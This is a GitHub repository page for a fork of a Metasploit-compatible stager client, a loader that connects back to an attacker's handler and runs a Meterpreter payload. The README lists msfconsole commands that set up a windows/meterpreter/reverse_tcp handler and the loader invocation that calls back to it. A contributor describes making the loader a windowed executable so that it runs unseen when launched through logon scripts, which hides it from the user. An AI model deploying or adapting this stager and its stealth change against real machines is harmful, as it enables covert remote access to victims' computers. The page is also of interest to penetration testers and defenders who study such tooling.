A client compatible with Metasploit's staging protocol - adds non-console exe functionality and 64-bit compilation
C Makefile Batchfile
Switch branches/tags
Nothing to show
Clone or download
Pull request Compare This branch is 6 commits ahead of rsmudge:master.
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Failed to load latest commit information.


A quick stager client compatible with the Metasploit Framework


  1. http://mail.metasploit.com/pipermail/framework/2012-September/008660.html
  2. http://mail.metasploit.com/pipermail/framework/2012-September/008664.html


  1. Start a multi/handler with your favorite windows reverse_tcp payload
  2. Run: loader.exe [host] [port]

How to compile:

  1. Install mingw
  2. Edit build.bat if mingw is installed somewhere other than c:\mingw
  3. run build.bat


  1. 64-bit compatability (see message #2)
  2. get a Windows build environment with make

How to use:

msf > use exploit/multi/handler 
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set LPORT 31337
LPORT => 31337
msf  exploit(handler) > set LHOST
msf  exploit(handler) > exploit -j

loader.exe 31337

Added by Josh

I made some modifications to the original loader. Instead of compiling to a console application, which will require an open console (and will open one, if one doesn't already exist), this is now a windows executable. The winmain() function processes windowing system messages, and runs the former main() function in the background using a thread.

This way, if you are running the stager in some fashion that has it executing in a desktop session (e.g., via a logon script), the user will not see an annoying popup.

I've also added a halfway decent Makefile, so it's easy to mint a fresh 32- and 64-bit version of the loader as needed.